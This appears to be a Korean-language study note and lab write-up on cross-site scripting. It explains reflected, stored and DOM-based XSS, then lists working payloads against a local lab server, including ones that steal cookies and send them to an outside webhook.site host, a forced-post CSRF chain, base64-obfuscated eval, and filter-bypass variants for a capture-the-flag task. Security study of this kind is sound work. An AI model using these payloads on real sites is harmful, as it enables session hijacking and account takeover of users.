웹 서비스를 대상으로, 악성 스크립트를 삽입하는 공격 기법으로,
보통 공격자가 원하는 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감 정보를 탈취
❗사용자로부터 입력받은 데이터를 검증 및 Escape 처리하지 않을 경우 발생
▪ 사용자 브라우저로 악성 스크립트 전송 후, 악성 행위 수행
▪ 해당 취약점을 이용해 세션과 같은 인증정보 탈취 및 사용자 행동 추적,
민감정보 수집, 웹 서비스 기능 임의조작 등의 공격을 수행할 수 있다.
#1. 계정 탈취 : 취약점을 이용한 인증정보(세션, 로그인정보등)를 탈취하여, 사용자의 계정을 탈취할 수 있다.
#2. 피싱 사이트 유도 : 공격자가 지정한 피싱사이트로 유도하여, 공격자가 원하는 악성 행위를 수행 및 정보를 탈취할 수 있다.
#3. 임의 기능 조작 : 악성URL에 접근한 사용자의 정보를 이용하여, 임의 기능을 조작할 수 있다.
#4. 취약점 연계 : 다른 취약점 유형들과 연계하여, XSS 취약점의 영향력 및 파급력을 높힐 수 있다
▪ 웹 페이지의 구조 정의
▪ HTML 태그를 이용해 JavaScript 코드 실행 및 동적 기능을추가
▪ 특정 태그들을 통해 외부 스크립트 삽입 및 의도하지 않은 요청 수행
| 태그 | 설명 |
|---|---|
script | JavaScript 코드로 동적 기능 추가 |
img | 이미지 삽입 |
svg | 벡터 그래픽 이미지 삽입 |
iframe | 현재 웹 페이지안에 또 다른 웹페이지를 삽입(inline-frame) |
video | 비디오 파일 삽입 |
input | 입력 필드 정의 (type 유형에 따라 다양하게 화면에 표시) |
button | 버튼 삽입 |
body | 본문 컨텐츠 |
▪ 웹 페이지 요소 접근 및 조작에 사용되는 API
▪ document.{속성} 형식으로사용
▪ Session Hijacking, Redirection 등에사용
| Document Object | 설명 |
|---|---|
document.cookie | 쿠키 값 |
document.domain | 도메인 |
document.contentType | 문서 타입 |
document.documentURI | 문서 위치 |
document.write | 작성 및 출력 |
▪ 웹 페이지에서 발생하는 이벤트에 반응하는 JavaScript 함수 (마우스 클릭 등)
▪ 사용자의 행동 추적 및 민감정보 탈취에 사용
▪ 이벤트 핸들러에서 on____ 사용
| Event Handler | 설명 |
|---|---|
onerror | 읽는 중 오류 발생 시, 발생 |
onload | 페이지가 처음 읽힐 때, 발생 |
onfocus | input 요소에 포커스 될 때, 발생 |
onclick | 마우스 클릭 시, 발생 |
onmouseover | 요소에 포인터 올려놓을때, 발생 |

악성스크립트가 포함된 URL에 접속(요청)했을때, 악성 스크립트가 즉시 반영되어 실행되는 경우
▪ URL 요청 시, 서버측에서 입력 값에 대한 결과를 반환한다.
이때, 요청에 악성 스크립트가 포함된 경우, 해당 스크립트가 반영된 웹 페이지 반환
▪ 사용자가 입력한 스크립트가 검증 없이 웹 서비스에 포함되는 경우 공격 수행
▪ 서버에 저장되지 않는 유형
▪ 사용자 요청에 의해 발생하는 유형으로, 공격 수행을 위해 피해자에게 악성스크립트가 포함된 URL에 접속하도록 유도해야 한다.



악성 스크립트가 서버에 저장된 후, 저장된 값을 불러올 때(접근시) 악성 스크립트 실행
▪ 웹 서비스에 저장된 정보를 조회할 때 발생하는 유형으로, 피해자가 악성 스크립트가 저장된 위치에 접근했을 때 취약점이 발생한다.
▪ 게시글, 댓글 등 사용자 입력 값 저장이 가능한 곳에서 취약점 발생
▪ 저장된 악성 스크립트는 불특정 다수를 대상으로 공격을 수행할 수 있어, 낮은 난이도에 비해 높은 파급력을 갖는다.
▪ 지속형 취약점이라고도 부르며, 저장 정보가 삭제되어야 발생하지 않음


보안에 취약한 JavaScript 코드의 DOM 객체를 통해, 클라이언트 측에서 사용자 입력 값으로 페이지를 구성
▪ 입력한 악성 스크립트가, 웹 브라우저에서 처리되는 경우에 실행
▪ 입력 값에 대한 결과는 서버로 전송되거나 Client에게 반환되지 않는다.
▪ 사용자 요청에 의해 발생하는 유형으로, 공격 수행을 위해 피해자에게 악성스크립트가 포함된 URL에 접속하도록 유도해야 한다.
Reflected : 서버 측에서 페이지 구성
URL 요청 시, 서버측에서 입력 값에 대한 결과를 반환
DOM-Based : 클라이언트 측에서 페이지 구성하는 환경에서 발생
URL 요청 시, 입력 값에 대한 결과 서버로 전송❌ 클라이언트에 결과 반환❌

onerror 이벤트 핸들러를 이용하여 alert 띄우기

▪ XSS 취약점 발생 시, 공격자가 삽입한 임의 사이트로 이동
▪ 정교하게 작성된 피싱 사이트 유도를 통한 정보탈취 공격 수행
▪ 임의 사이트로 특정 데이터를 전송하는 공격 수행
http://192.168.0.19:22222/board.php?keyword="><script>location.href="https://www.naver.com/"</script>

▪ XSS 취약점 발생 시, 접근한 사용자/관리자 세션을 공격자 서버로 탈취
▪ 세션 탈취 공격을 통한, 계정 및 정보 탈취
location.href을 이용해 공격자의 서버로 이동
http://192.168.0.19:22222/board.php?keyword="><script>location.href="https://www.naver.com/"+document.cookie</script>
http://192.168.0.19:22222/board.php?keyword="><iframe/src/onload=location.href="https://www.naver.com/"+document.cookie>
<script>location.href="https://webhook.site/f64aadcd-a9ea-4ef7-8621-6613d4a531ec"+document.cookie</script>
해당 게시글을 조회하면 내 webhook 사이트로 해당 게시글을 조회한 사용자의 cookie 값이 넘어옴
<img/src/onerror=location.href="https://www.naver.com/"+document.cookie>
<svg/onload=location.href="https://www.naver.com/"+document.cookie>
▪ CSRF, 임의 기능 실행 등과 같이 다른 취약점과 연계하여 공격
▪ 공격자가 삽입한 기능 수행 및 정보탈취
▪ 공격 흔적을 최소화하여 공격 수행 및 정보 탈취
http://192.168.0.19:22222/board.php?keyword="><script>fetch("https://webhook.site/f64aadcd-a9ea-4ef7-8621-6613d4a531ec");</script>
<script>fetch("https://webhook.site/f64aadcd-a9ea-4ef7-8621-6613d4a531ec");</script>
<script>
fetch("http://192.168.0.19:22222/write_post.php", {
method: 'POST',
headers: {
'Content-Type':'application/x-www-form-urlencoded',
},
body: "subject=" + '사이트 문 닫습니다' + "&content=" + '사이트 문 닫습니다'
})
.then(response => response.text())
</script>
<script>eval(atob('스크립트 인코딩 값'))</script>
취약점에 대한 보호 대책을 적용한 필터링 우회
# XSS Filtering
#1. 특정 문자열 치환
#2. HTML 태그 및 속성 필터링
#3. 이벤트 핸들러 필터링 (on 속성)
#4. 특수문자 필터링
웹 서비스 내 5개의 XSS 취약점을 발견하여 alert(“XSS”)를발생시키는 것이 목표
[설명]
▪ 웹 서비스 내에 존재하는 XSS 취약점 5개를 찾아내는 것
▪ 이 중, 1개의 취약점은 FLAG가 존재
sscriptcscriptrscriptiscriptpscriptt 태그 이용
http://192.168.0.19:22223/board2.php?keyword="><sscriptcscriptrscriptiscriptpscriptt>alert(1)%3C/sscriptcscriptrscriptiscriptpscriptt%3E
http://192.168.0.19:22223/board2.php?keyword="><button onclick=alert(1)>
http://192.168.0.19:22223/board3.php?keyword=%22%3E%3Cimg/src/onerror=eval(atob(%27YWxlcnQoMSk%27))%3E
alert(1) 인코딩 값